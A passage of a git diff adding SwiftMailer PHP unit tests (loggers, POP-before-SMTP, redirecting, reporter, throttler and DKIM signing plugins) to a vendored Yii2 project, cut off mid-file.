Swift_Plugins_Loggers_ArrayLogger(); + $logger->add(">> FOO\r\n"); + $logger->add("<< 502 That makes no sense\r\n"); + $logger->add(">> RSET\r\n"); + $logger->add("<< 250 OK\r\n"); + + $this->assertEquals( + ">> FOO\r\n".PHP_EOL. + "<< 502 That makes no sense\r\n".PHP_EOL. + ">> RSET\r\n".PHP_EOL. + "<< 250 OK\r\n", + $logger->dump() + ); + + $logger->clear(); + + $this->assertEquals('', $logger->dump()); + } + + public function testLengthCanBeTruncated() + { + $logger = new Swift_Plugins_Loggers_ArrayLogger(2); + $logger->add(">> FOO\r\n"); + $logger->add("<< 502 That makes no sense\r\n"); + $logger->add(">> RSET\r\n"); + $logger->add("<< 250 OK\r\n"); + + $this->assertEquals( + ">> RSET\r\n".PHP_EOL. + "<< 250 OK\r\n", + $logger->dump(), + '%s: Log should be truncated to last 2 entries' + ); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Plugins/Loggers/EchoLoggerTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Plugins/Loggers/EchoLoggerTest.php new file mode 100644 index 00000000..aa2bd233 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Plugins/Loggers/EchoLoggerTest.php @@ -0,0 +1,24 @@ +add(">> Foo"); + $data = ob_get_clean(); + + $this->assertEquals(">> Foo".PHP_EOL, $data); + } + + public function testAddingEntryDumpsEscapedLineWithHtml() + { + $logger = new Swift_Plugins_Loggers_EchoLogger(true); + ob_start(); + $logger->add(">> Foo"); + $data = ob_get_clean(); + + $this->assertEquals(">> Foo
            ".PHP_EOL, $data); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Plugins/PopBeforeSmtpPluginTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Plugins/PopBeforeSmtpPluginTest.php new file mode 100644 index 00000000..1227c24c --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Plugins/PopBeforeSmtpPluginTest.php @@ -0,0 +1,103 @@ +_createConnection(); + $connection->expects($this->once()) + ->method('connect'); + + $plugin = $this->_createPlugin('pop.host.tld', 110); + $plugin->setConnection($connection); + + $transport = $this->_createTransport(); + $evt = $this->_createTransportChangeEvent($transport); + + $plugin->beforeTransportStarted($evt); + } + + public function testPluginDisconnectsFromPop3HostBeforeTransportStarts() + { + $connection = $this->_createConnection(); + $connection->expects($this->once()) + ->method('disconnect'); + + $plugin = $this->_createPlugin('pop.host.tld', 110); + $plugin->setConnection($connection); + + $transport = $this->_createTransport(); + $evt = $this->_createTransportChangeEvent($transport); + + $plugin->beforeTransportStarted($evt); + } + + public function testPluginDoesNotConnectToSmtpIfBoundToDifferentTransport() + { + $connection = $this->_createConnection(); + $connection->expects($this->never()) + ->method('disconnect'); + $connection->expects($this->never()) + ->method('connect'); + + $smtp = $this->_createTransport(); + + $plugin = $this->_createPlugin('pop.host.tld', 110); + $plugin->setConnection($connection); + $plugin->bindSmtp($smtp); + + $transport = $this->_createTransport(); + $evt = $this->_createTransportChangeEvent($transport); + + $plugin->beforeTransportStarted($evt); + } + + public function testPluginCanBindToSpecificTransport() + { + $connection = $this->_createConnection(); + $connection->expects($this->once()) + ->method('connect'); + + $smtp = $this->_createTransport(); + + $plugin = $this->_createPlugin('pop.host.tld', 110); + $plugin->setConnection($connection); + $plugin->bindSmtp($smtp); + + $evt = $this->_createTransportChangeEvent($smtp); + + $plugin->beforeTransportStarted($evt); + } + + // -- Creation Methods + + private function _createTransport() + { + return $this->getMock('Swift_Transport'); + } + + private function _createTransportChangeEvent($transport) + { + $evt = $this->getMockBuilder('Swift_Events_TransportChangeEvent') + ->disableOriginalConstructor() + ->getMock(); + $evt->expects($this->any()) + ->method('getSource') + ->will($this->returnValue($transport)); + $evt->expects($this->any()) + ->method('getTransport') + ->will($this->returnValue($transport)); + + return $evt; + } + + public function _createConnection() + { + return $this->getMock('Swift_Plugins_Pop_Pop3Connection'); + } + + public function _createPlugin($host, $port, $crypto = null) + { + return new Swift_Plugins_PopBeforeSmtpPlugin($host, $port, $crypto); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Plugins/RedirectingPluginTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Plugins/RedirectingPluginTest.php new file mode 100644 index 00000000..4cc7e89f --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Plugins/RedirectingPluginTest.php @@ -0,0 +1,185 @@ +assertEquals('fabien@example.com', $plugin->getRecipient()); + $plugin->setRecipient('chris@example.com'); + $this->assertEquals('chris@example.com', $plugin->getRecipient()); + } + + public function testPluginChangesRecipients() + { + $message = Swift_Message::newInstance() + ->setSubject('...') + ->setFrom(array('john@example.com' => 'John Doe')) + ->setTo($to = array( + 'fabien-to@example.com' => 'Fabien (To)', + 'chris-to@example.com' => 'Chris (To)', + )) + ->setCc($cc = array( + 'fabien-cc@example.com' => 'Fabien (Cc)', + 'chris-cc@example.com' => 'Chris (Cc)', + )) + ->setBcc($bcc = array( + 'fabien-bcc@example.com' => 'Fabien (Bcc)', + 'chris-bcc@example.com' => 'Chris (Bcc)', + )) + ->setBody('...') + ; + + $plugin = new Swift_Plugins_RedirectingPlugin('god@example.com'); + + $evt = $this->_createSendEvent($message); + + $plugin->beforeSendPerformed($evt); + + $this->assertEquals($message->getTo(), array('god@example.com' => '')); + $this->assertEquals($message->getCc(), array()); + $this->assertEquals($message->getBcc(), array()); + + $plugin->sendPerformed($evt); + + $this->assertEquals($message->getTo(), $to); + $this->assertEquals($message->getCc(), $cc); + $this->assertEquals($message->getBcc(), $bcc); + } + + public function testPluginRespectsUnsetToList() + { + $message = Swift_Message::newInstance() + ->setSubject('...') + ->setFrom(array('john@example.com' => 'John Doe')) + ->setCc($cc = array( + 'fabien-cc@example.com' => 'Fabien (Cc)', + 'chris-cc@example.com' => 'Chris (Cc)', + )) + ->setBcc($bcc = array( + 'fabien-bcc@example.com' => 'Fabien (Bcc)', + 'chris-bcc@example.com' => 'Chris (Bcc)', + )) + ->setBody('...') + ; + + $plugin = new Swift_Plugins_RedirectingPlugin('god@example.com'); + + $evt = $this->_createSendEvent($message); + + $plugin->beforeSendPerformed($evt); + + $this->assertEquals($message->getTo(), array('god@example.com' => '')); + $this->assertEquals($message->getCc(), array()); + $this->assertEquals($message->getBcc(), array()); + + $plugin->sendPerformed($evt); + + $this->assertEquals($message->getTo(), array()); + $this->assertEquals($message->getCc(), $cc); + $this->assertEquals($message->getBcc(), $bcc); + } + + public function testPluginRespectsAWhitelistOfPatterns() + { + $message = Swift_Message::newInstance() + ->setSubject('...') + ->setFrom(array('john@example.com' => 'John Doe')) + ->setTo($to = array( + 'fabien-to@example.com' => 'Fabien (To)', + 'chris-to@example.com' => 'Chris (To)', + 'lars-to@internal.com' => 'Lars (To)', + )) + ->setCc($cc = array( + 'fabien-cc@example.com' => 'Fabien (Cc)', + 'chris-cc@example.com' => 'Chris (Cc)', + 'lars-cc@internal.org' => 'Lars (Cc)', + )) + ->setBcc($bcc = array( + 'fabien-bcc@example.com' => 'Fabien (Bcc)', + 'chris-bcc@example.com' => 'Chris (Bcc)', + 'john-bcc@example.org' => 'John (Bcc)', + )) + ->setBody('...') + ; + + $recipient = 'god@example.com'; + $patterns = array('/^.*@internal.[a-z]+$/', '/^john-.*$/'); + + $plugin = new Swift_Plugins_RedirectingPlugin($recipient, $patterns); + + $this->assertEquals($recipient, $plugin->getRecipient()); + $this->assertEquals($plugin->getWhitelist(), $patterns); + + $evt = $this->_createSendEvent($message); + + $plugin->beforeSendPerformed($evt); + + $this->assertEquals($message->getTo(), array('lars-to@internal.com' => 'Lars (To)', 'god@example.com' => null)); + $this->assertEquals($message->getCc(), array('lars-cc@internal.org' => 'Lars (Cc)')); + $this->assertEquals($message->getBcc(), array('john-bcc@example.org' => 'John (Bcc)')); + + $plugin->sendPerformed($evt); + + $this->assertEquals($message->getTo(), $to); + $this->assertEquals($message->getCc(), $cc); + $this->assertEquals($message->getBcc(), $bcc); + } + + public function testArrayOfRecipientsCanBeExplicitlyDefined() + { + $message = Swift_Message::newInstance() + ->setSubject('...') + ->setFrom(array('john@example.com' => 'John Doe')) + ->setTo(array( + 'fabien@example.com' => 'Fabien', + 'chris@example.com' => 'Chris (To)', + 'lars-to@internal.com' => 'Lars (To)', + )) + ->setCc(array( + 'fabien@example.com' => 'Fabien', + 'chris-cc@example.com' => 'Chris (Cc)', + 'lars-cc@internal.org' => 'Lars (Cc)', + )) + ->setBcc(array( + 'fabien@example.com' => 'Fabien', + 'chris-bcc@example.com' => 'Chris (Bcc)', + 'john-bcc@example.org' => 'John (Bcc)', + )) + ->setBody('...') + ; + + $recipients = array('god@example.com', 'fabien@example.com'); + $patterns = array('/^.*@internal.[a-z]+$/'); + + $plugin = new Swift_Plugins_RedirectingPlugin($recipients, $patterns); + + $evt = $this->_createSendEvent($message); + + $plugin->beforeSendPerformed($evt); + + $this->assertEquals( + $message->getTo(), + array('fabien@example.com' => 'Fabien', 'lars-to@internal.com' => 'Lars (To)', 'god@example.com' => null) + ); + $this->assertEquals( + $message->getCc(), + array('fabien@example.com' => 'Fabien', 'lars-cc@internal.org' => 'Lars (Cc)') + ); + $this->assertEquals($message->getBcc(), array('fabien@example.com' => 'Fabien')); + } + + // -- Creation Methods + + private function _createSendEvent(Swift_Mime_Message $message) + { + $evt = $this->getMockBuilder('Swift_Events_SendEvent') + ->disableOriginalConstructor() + ->getMock(); + $evt->expects($this->any()) + ->method('getMessage') + ->will($this->returnValue($message)); + + return $evt; + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Plugins/ReporterPluginTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Plugins/ReporterPluginTest.php new file mode 100644 index 00000000..81018830 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Plugins/ReporterPluginTest.php @@ -0,0 +1,88 @@ +_createMessage(); + $evt = $this->_createSendEvent(); + $reporter = $this->_createReporter(); + + $message->shouldReceive('getTo')->zeroOrMoreTimes()->andReturn(array('foo@bar.tld' => 'Foo')); + $evt->shouldReceive('getMessage')->zeroOrMoreTimes()->andReturn($message); + $evt->shouldReceive('getFailedRecipients')->zeroOrMoreTimes()->andReturn(array()); + $reporter->shouldReceive('notify')->once()->with($message, 'foo@bar.tld', Swift_Plugins_Reporter::RESULT_PASS); + + $plugin = new Swift_Plugins_ReporterPlugin($reporter); + $plugin->sendPerformed($evt); + } + + public function testReportingFailedTo() + { + $message = $this->_createMessage(); + $evt = $this->_createSendEvent(); + $reporter = $this->_createReporter(); + + $message->shouldReceive('getTo')->zeroOrMoreTimes()->andReturn(array('foo@bar.tld' => 'Foo', 'zip@button' => 'Zip')); + $evt->shouldReceive('getMessage')->zeroOrMoreTimes()->andReturn($message); + $evt->shouldReceive('getFailedRecipients')->zeroOrMoreTimes()->andReturn(array('zip@button')); + $reporter->shouldReceive('notify')->once()->with($message, 'foo@bar.tld', Swift_Plugins_Reporter::RESULT_PASS); + $reporter->shouldReceive('notify')->once()->with($message, 'zip@button', Swift_Plugins_Reporter::RESULT_FAIL); + + $plugin = new Swift_Plugins_ReporterPlugin($reporter); + $plugin->sendPerformed($evt); + } + + public function testReportingFailedCc() + { + $message = $this->_createMessage(); + $evt = $this->_createSendEvent(); + $reporter = $this->_createReporter(); + + $message->shouldReceive('getTo')->zeroOrMoreTimes()->andReturn(array('foo@bar.tld' => 'Foo')); + $message->shouldReceive('getCc')->zeroOrMoreTimes()->andReturn(array('zip@button' => 'Zip', 'test@test.com' => 'Test')); + $evt->shouldReceive('getMessage')->zeroOrMoreTimes()->andReturn($message); + $evt->shouldReceive('getFailedRecipients')->zeroOrMoreTimes()->andReturn(array('zip@button')); + $reporter->shouldReceive('notify')->once()->with($message, 'foo@bar.tld', Swift_Plugins_Reporter::RESULT_PASS); + $reporter->shouldReceive('notify')->once()->with($message, 'zip@button', Swift_Plugins_Reporter::RESULT_FAIL); + $reporter->shouldReceive('notify')->once()->with($message, 'test@test.com', Swift_Plugins_Reporter::RESULT_PASS); + + $plugin = new Swift_Plugins_ReporterPlugin($reporter); + $plugin->sendPerformed($evt); + } + + public function testReportingFailedBcc() + { + $message = $this->_createMessage(); + $evt = $this->_createSendEvent(); + $reporter = $this->_createReporter(); + + $message->shouldReceive('getTo')->zeroOrMoreTimes()->andReturn(array('foo@bar.tld' => 'Foo')); + $message->shouldReceive('getBcc')->zeroOrMoreTimes()->andReturn(array('zip@button' => 'Zip', 'test@test.com' => 'Test')); + $evt->shouldReceive('getMessage')->zeroOrMoreTimes()->andReturn($message); + $evt->shouldReceive('getFailedRecipients')->zeroOrMoreTimes()->andReturn(array('zip@button')); + $reporter->shouldReceive('notify')->once()->with($message, 'foo@bar.tld', Swift_Plugins_Reporter::RESULT_PASS); + $reporter->shouldReceive('notify')->once()->with($message, 'zip@button', Swift_Plugins_Reporter::RESULT_FAIL); + $reporter->shouldReceive('notify')->once()->with($message, 'test@test.com', Swift_Plugins_Reporter::RESULT_PASS); + + $plugin = new Swift_Plugins_ReporterPlugin($reporter); + $plugin->sendPerformed($evt); + } + + // -- Creation Methods + + private function _createMessage() + { + return $this->getMockery('Swift_Mime_Message')->shouldIgnoreMissing(); + } + + private function _createSendEvent() + { + return $this->getMockery('Swift_Events_SendEvent')->shouldIgnoreMissing(); + } + + private function _createReporter() + { + return $this->getMockery('Swift_Plugins_Reporter')->shouldIgnoreMissing(); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Plugins/Reporters/HitReporterTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Plugins/Reporters/HitReporterTest.php new file mode 100644 index 00000000..4d31c3c6 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Plugins/Reporters/HitReporterTest.php @@ -0,0 +1,64 @@ +_hitReporter = new Swift_Plugins_Reporters_HitReporter(); + $this->_message = $this->getMock('Swift_Mime_Message'); + } + + public function testReportingFail() + { + $this->_hitReporter->notify($this->_message, 'foo@bar.tld', + Swift_Plugins_Reporter::RESULT_FAIL + ); + $this->assertEquals(array('foo@bar.tld'), + $this->_hitReporter->getFailedRecipients() + ); + } + + public function testMultipleReports() + { + $this->_hitReporter->notify($this->_message, 'foo@bar.tld', + Swift_Plugins_Reporter::RESULT_FAIL + ); + $this->_hitReporter->notify($this->_message, 'zip@button', + Swift_Plugins_Reporter::RESULT_FAIL + ); + $this->assertEquals(array('foo@bar.tld', 'zip@button'), + $this->_hitReporter->getFailedRecipients() + ); + } + + public function testReportingPassIsIgnored() + { + $this->_hitReporter->notify($this->_message, 'foo@bar.tld', + Swift_Plugins_Reporter::RESULT_FAIL + ); + $this->_hitReporter->notify($this->_message, 'zip@button', + Swift_Plugins_Reporter::RESULT_PASS + ); + $this->assertEquals(array('foo@bar.tld'), + $this->_hitReporter->getFailedRecipients() + ); + } + + public function testBufferCanBeCleared() + { + $this->_hitReporter->notify($this->_message, 'foo@bar.tld', + Swift_Plugins_Reporter::RESULT_FAIL + ); + $this->_hitReporter->notify($this->_message, 'zip@button', + Swift_Plugins_Reporter::RESULT_FAIL + ); + $this->assertEquals(array('foo@bar.tld', 'zip@button'), + $this->_hitReporter->getFailedRecipients() + ); + $this->_hitReporter->clear(); + $this->assertEquals(array(), $this->_hitReporter->getFailedRecipients()); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Plugins/Reporters/HtmlReporterTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Plugins/Reporters/HtmlReporterTest.php new file mode 100644 index 00000000..3e78fca5 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Plugins/Reporters/HtmlReporterTest.php @@ -0,0 +1,54 @@ +_html = new Swift_Plugins_Reporters_HtmlReporter(); + $this->_message = $this->getMock('Swift_Mime_Message'); + } + + public function testReportingPass() + { + ob_start(); + $this->_html->notify($this->_message, 'foo@bar.tld', + Swift_Plugins_Reporter::RESULT_PASS + ); + $html = ob_get_clean(); + + $this->assertRegExp('~ok|pass~i', $html, '%s: Reporter should indicate pass'); + $this->assertRegExp('~foo@bar\.tld~', $html, '%s: Reporter should show address'); + } + + public function testReportingFail() + { + ob_start(); + $this->_html->notify($this->_message, 'zip@button', + Swift_Plugins_Reporter::RESULT_FAIL + ); + $html = ob_get_clean(); + + $this->assertRegExp('~fail~i', $html, '%s: Reporter should indicate fail'); + $this->assertRegExp('~zip@button~', $html, '%s: Reporter should show address'); + } + + public function testMultipleReports() + { + ob_start(); + $this->_html->notify($this->_message, 'foo@bar.tld', + Swift_Plugins_Reporter::RESULT_PASS + ); + $this->_html->notify($this->_message, 'zip@button', + Swift_Plugins_Reporter::RESULT_FAIL + ); + $html = ob_get_clean(); + + $this->assertRegExp('~ok|pass~i', $html, '%s: Reporter should indicate pass'); + $this->assertRegExp('~foo@bar\.tld~', $html, '%s: Reporter should show address'); + $this->assertRegExp('~fail~i', $html, '%s: Reporter should indicate fail'); + $this->assertRegExp('~zip@button~', $html, '%s: Reporter should show address'); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Plugins/ThrottlerPluginTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Plugins/ThrottlerPluginTest.php new file mode 100644 index 00000000..a50f14f9 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Plugins/ThrottlerPluginTest.php @@ -0,0 +1,104 @@ +_createSleeper(); + $timer = $this->_createTimer(); + + //10MB/min + $plugin = new Swift_Plugins_ThrottlerPlugin( + 10000000, Swift_Plugins_ThrottlerPlugin::BYTES_PER_MINUTE, + $sleeper, $timer + ); + + $timer->shouldReceive('getTimestamp')->once()->andReturn(0); + $timer->shouldReceive('getTimestamp')->once()->andReturn(1); //expected 0.6 + $timer->shouldReceive('getTimestamp')->once()->andReturn(1); //expected 1.2 (sleep 1) + $timer->shouldReceive('getTimestamp')->once()->andReturn(2); //expected 1.8 + $timer->shouldReceive('getTimestamp')->once()->andReturn(2); //expected 2.4 (sleep 1) + $sleeper->shouldReceive('sleep')->twice()->with(1); + + //10,000,000 bytes per minute + //100,000 bytes per email + + // .: (10,000,000/100,000)/60 emails per second = 1.667 emais/sec + + $message = $this->_createMessageWithByteCount(100000); //100KB + + $evt = $this->_createSendEvent($message); + + for ($i = 0; $i < 5; ++$i) { + $plugin->beforeSendPerformed($evt); + $plugin->sendPerformed($evt); + } + } + + public function testMessagesPerMinuteThrottling() + { + $sleeper = $this->_createSleeper(); + $timer = $this->_createTimer(); + + //60/min + $plugin = new Swift_Plugins_ThrottlerPlugin( + 60, Swift_Plugins_ThrottlerPlugin::MESSAGES_PER_MINUTE, + $sleeper, $timer + ); + + $timer->shouldReceive('getTimestamp')->once()->andReturn(0); + $timer->shouldReceive('getTimestamp')->once()->andReturn(0); //expected 1 (sleep 1) + $timer->shouldReceive('getTimestamp')->once()->andReturn(2); //expected 2 + $timer->shouldReceive('getTimestamp')->once()->andReturn(2); //expected 3 (sleep 1) + $timer->shouldReceive('getTimestamp')->once()->andReturn(4); //expected 4 + $sleeper->shouldReceive('sleep')->twice()->with(1); + + //60 messages per minute + //1 message per second + + $message = $this->_createMessageWithByteCount(10); + + $evt = $this->_createSendEvent($message); + + for ($i = 0; $i < 5; ++$i) { + $plugin->beforeSendPerformed($evt); + $plugin->sendPerformed($evt); + } + } + + // -- Creation Methods + + private function _createSleeper() + { + return $this->getMockery('Swift_Plugins_Sleeper'); + } + + private function _createTimer() + { + return $this->getMockery('Swift_Plugins_Timer'); + } + + private function _createMessageWithByteCount($bytes) + { + $msg = $this->getMockery('Swift_Mime_Message'); + $msg->shouldReceive('toByteStream') + ->zeroOrMoreTimes() + ->andReturnUsing(function ($is) use ($bytes) { + for ($i = 0; $i < $bytes; ++$i) { + $is->write('x'); + } + }); + + return $msg; + } + + private function _createSendEvent($message) + { + $evt = $this->getMockery('Swift_Events_SendEvent'); + $evt->shouldReceive('getMessage') + ->zeroOrMoreTimes() + ->andReturn($message); + + return $evt; + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Signers/DKIMSignerTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Signers/DKIMSignerTest.php new file mode 100644 index 00000000..b122ad03 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Signers/DKIMSignerTest.php @@ -0,0 +1,227 @@ +markTestSkipped( + 'skipping because of https://bugs.php.net/bug.php?id=61421' + ); + } + } + + public function testBasicSigningHeaderManipulation() + { + $headers = $this->_createHeaders(); + $messageContent = "Hello World"; + $signer = new Swift_Signers_DKIMSigner(file_get_contents(dirname(dirname(dirname(__DIR__))).'/_samples/dkim/dkim.test.priv'), 'dummy.nxdomain.be', 'dummySelector'); + /* @var $signer Swift_Signers_HeaderSigner */ + $altered = $signer->getAlteredHeaders(); + $signer->reset(); + // Headers + $signer->setHeaders($headers); + // Body + $signer->startBody(); + $signer->write($messageContent); + $signer->endBody(); + // Signing + $signer->addSignature($headers); + } + + // Default Signing + public function testSigningDefaults() + { + $headerSet = $this->_createHeaderSet(); + $messageContent = "Hello World"; + $signer = new Swift_Signers_DKIMSigner(file_get_contents(dirname(dirname(dirname(__DIR__))).'/_samples/dkim/dkim.test.priv'), 'dummy.nxdomain.be', 'dummySelector'); + $signer->setSignatureTimestamp('1299879181'); + $altered = $signer->getAlteredHeaders(); + $this->assertEquals(array('DKIM-Signature'), $altered); + $signer->reset(); + $signer->setHeaders($headerSet); + $this->assertFalse($headerSet->has('DKIM-Signature')); + $signer->startBody(); + $signer->write($messageContent); + $signer->endBody(); + $signer->addSignature($headerSet); + $this->assertTrue($headerSet->has('DKIM-Signature')); + $dkim = $headerSet->getAll('DKIM-Signature'); + $sig = reset($dkim); + $this->assertEquals($sig->getValue(), 'v=1; a=rsa-sha1; bh=wlbYcY9O9OPInGJ4D0E/rGsvMLE=; d=dummy.nxdomain.be; h=; i=@dummy.nxdomain.be; s=dummySelector; t=1299879181; b=RMSNelzM2O5MAAnMjT3G3/VF36S3DGJXoPCXR001F1WDReu0prGphWjuzK/m6V1pwqQL8cCNg Hi74mTx2bvyAvmkjvQtJf1VMUOCc9WHGcm1Yec66I3ZWoNMGSWZ1EKAm2CtTzyG0IFw4ml9DI wSkyAFxlgicckDD6FibhqwX4w='); + } + + // SHA256 Signing + public function testSigning256() + { + $headerSet = $this->_createHeaderSet(); + $messageContent = "Hello World"; + $signer = new Swift_Signers_DKIMSigner(file_get_contents(dirname(dirname(dirname(__DIR__))).'/_samples/dkim/dkim.test.priv'), 'dummy.nxdomain.be', 'dummySelector'); + $signer->setHashAlgorithm('rsa-sha256'); + $signer->setSignatureTimestamp('1299879181'); + $altered = $signer->getAlteredHeaders(); + $this->assertEquals(array('DKIM-Signature'), $altered); + $signer->reset(); + $signer->setHeaders($headerSet); + $this->assertFalse($headerSet->has('DKIM-Signature')); + $signer->startBody(); + $signer->write($messageContent); + $signer->endBody(); + $signer->addSignature($headerSet); + $this->assertTrue($headerSet->has('DKIM-Signature')); + $dkim = $headerSet->getAll('DKIM-Signature'); + $sig = reset($dkim); + $this->assertEquals($sig->getValue(), 'v=1; a=rsa-sha256; bh=f+W+hu8dIhf2VAni89o8lF6WKTXi7nViA4RrMdpD5/U=; d=dummy.nxdomain.be; h=; i=@dummy.nxdomain.be; s=dummySelector; t=1299879181; b=jqPmieHzF5vR9F4mXCAkowuphpO4iJ8IAVuioh1BFZ3VITXZj5jlOFxULJMBiiApm2keJirnh u4mzogj444QkpT3lJg8/TBGAYQPdcvkG3KC0jdyN6QpSgpITBJG2BwWa+keXsv2bkQgLRAzNx qRhP45vpHCKun0Tg9LrwW/KCg='); + } + + // Relaxed/Relaxed Hash Signing + public function testSigningRelaxedRelaxed256() + { + $headerSet = $this->_createHeaderSet(); + $messageContent = "Hello World"; + $signer = new Swift_Signers_DKIMSigner(file_get_contents(dirname(dirname(dirname(__DIR__))).'/_samples/dkim/dkim.test.priv'), 'dummy.nxdomain.be', 'dummySelector'); + $signer->setHashAlgorithm('rsa-sha256'); + $signer->setSignatureTimestamp('1299879181'); + $signer->setBodyCanon('relaxed'); + $signer->setHeaderCanon('relaxed'); + $altered = $signer->getAlteredHeaders(); + $this->assertEquals(array('DKIM-Signature'), $altered); + $signer->reset(); + $signer->setHeaders($headerSet); + $this->assertFalse($headerSet->has('DKIM-Signature')); + $signer->startBody(); + $signer->write($messageContent); + $signer->endBody(); + $signer->addSignature($headerSet); + $this->assertTrue($headerSet->has('DKIM-Signature')); + $dkim = $headerSet->getAll('DKIM-Signature'); + $sig = reset($dkim); + $this->assertEquals($sig->getValue(), 'v=1; a=rsa-sha256; bh=f+W+hu8dIhf2VAni89o8lF6WKTXi7nViA4RrMdpD5/U=; d=dummy.nxdomain.be; h=; i=@dummy.nxdomain.be; s=dummySelector; c=relaxed/relaxed; t=1299879181; b=gzOI+PX6HpZKQFzwwmxzcVJsyirdLXOS+4pgfCpVHQIdqYusKLrhlLeFBTNoz75HrhNvGH6T0 Rt3w5aTqkrWfUuAEYt0Ns14GowLM7JojaFN+pZ4eYnRB3CBBgW6fee4NEMD5WPca3uS09tr1E 10RYh9ILlRtl+84sovhx5id3Y='); + } + + // Relaxed/Simple Hash Signing + public function testSigningRelaxedSimple256() + { + $headerSet = $this->_createHeaderSet(); + $messageContent = "Hello World"; + $signer = new Swift_Signers_DKIMSigner(file_get_contents(dirname(dirname(dirname(__DIR__))).'/_samples/dkim/dkim.test.priv'), 'dummy.nxdomain.be', 'dummySelector'); + $signer->setHashAlgorithm('rsa-sha256'); + $signer->setSignatureTimestamp('1299879181'); + $signer->setHeaderCanon('relaxed'); + $altered = $signer->getAlteredHeaders(); + $this->assertEquals(array('DKIM-Signature'), $altered); + $signer->reset(); + $signer->setHeaders($headerSet); + $this->assertFalse($headerSet->has('DKIM-Signature')); + $signer->startBody(); + $signer->write($messageContent); + $signer->endBody(); + $signer->addSignature($headerSet); + $this->assertTrue($headerSet->has('DKIM-Signature')); + $dkim = $headerSet->getAll('DKIM-Signature'); + $sig = reset($dkim); + $this->assertEquals($sig->getValue(), 'v=1; a=rsa-sha256; bh=f+W+hu8dIhf2VAni89o8lF6WKTXi7nViA4RrMdpD5/U=; d=dummy.nxdomain.be; h=; i=@dummy.nxdomain.be; s=dummySelector; c=relaxed; t=1299879181; b=dLPJNec5v81oelyzGOY0qPqTlGnQeNfUNBOrV/JKbStr3NqWGI9jH4JAe2YvO2V32lfPNoby1 4MMzZ6EPkaZkZDDSPa+53YbCPQAlqiD9QZZIUe2UNM33HN8yAMgiWEF5aP7MbQnxeVZMfVLEl 9S8qOImu+K5JZqhQQTL0dgLwA='); + } + + // Simple/Relaxed Hash Signing + public function testSigningSimpleRelaxed256() + { + $headerSet = $this->_createHeaderSet(); + $messageContent = "Hello World"; + $signer = new Swift_Signers_DKIMSigner(file_get_contents(dirname(dirname(dirname(__DIR__))).'/_samples/dkim/dkim.test.priv'), 'dummy.nxdomain.be', 'dummySelector'); + $signer->setHashAlgorithm('rsa-sha256'); + $signer->setSignatureTimestamp('1299879181'); + $signer->setBodyCanon('relaxed'); + $altered = $signer->getAlteredHeaders(); + $this->assertEquals(array('DKIM-Signature'), $altered); + $signer->reset(); + $signer->setHeaders($headerSet); + $this->assertFalse($headerSet->has('DKIM-Signature')); + $signer->startBody(); + $signer->write($messageContent); + $signer->endBody(); + $signer->addSignature($headerSet); + $this->assertTrue($headerSet->has('DKIM-Signature')); + $dkim = $headerSet->getAll('DKIM-Signature'); + $sig = reset($dkim); + $this->assertEquals($sig->getValue(), 'v=1; a=rsa-sha256; bh=f+W+hu8dIhf2VAni89o8lF6WKTXi7nViA4RrMdpD5/U=; d=dummy.nxdomain.be; h=; i=@dummy.nxdomain.be; s=dummySelector; c=simple/relaxed; t=1299879181; b=M5eomH/zamyzix9kOes+6YLzQZxuJdBP4x3nP9zF2N26eMLG2/cBKbnNyqiOTDhJdYfWPbLIa 1CWnjST0j5p4CpeOkGYuiE+M4TWEZwhRmRWootlPO3Ii6XpbBJKFk1o9zviS7OmXblUUE4aqb yRSIMDhtLdCK5GlaCneFLN7RQ='); + } + + // -- Creation Methods + private function _createHeaderSet() + { + $cache = new Swift_KeyCache_ArrayKeyCache(new Swift_KeyCache_SimpleKeyCacheInputStream()); + $factory = new Swift_CharacterReaderFactory_SimpleCharacterReaderFactory(); + $contentEncoder = new Swift_Mime_ContentEncoder_Base64ContentEncoder(); + + $headerEncoder = new Swift_Mime_HeaderEncoder_QpHeaderEncoder(new Swift_CharacterStream_ArrayCharacterStream($factory, 'utf-8')); + $paramEncoder = new Swift_Encoder_Rfc2231Encoder(new Swift_CharacterStream_ArrayCharacterStream($factory, 'utf-8')); + $grammar = new Swift_Mime_Grammar(); + $headers = new Swift_Mime_SimpleHeaderSet(new Swift_Mime_SimpleHeaderFactory($headerEncoder, $paramEncoder, $grammar)); + + return $headers; + } + + /** + * @return Swift_Mime_Headers + */ + private function _createHeaders() + { + $x = 0; + $cache = new Swift_KeyCache_ArrayKeyCache(new Swift_KeyCache_SimpleKeyCacheInputStream()); + $factory = new 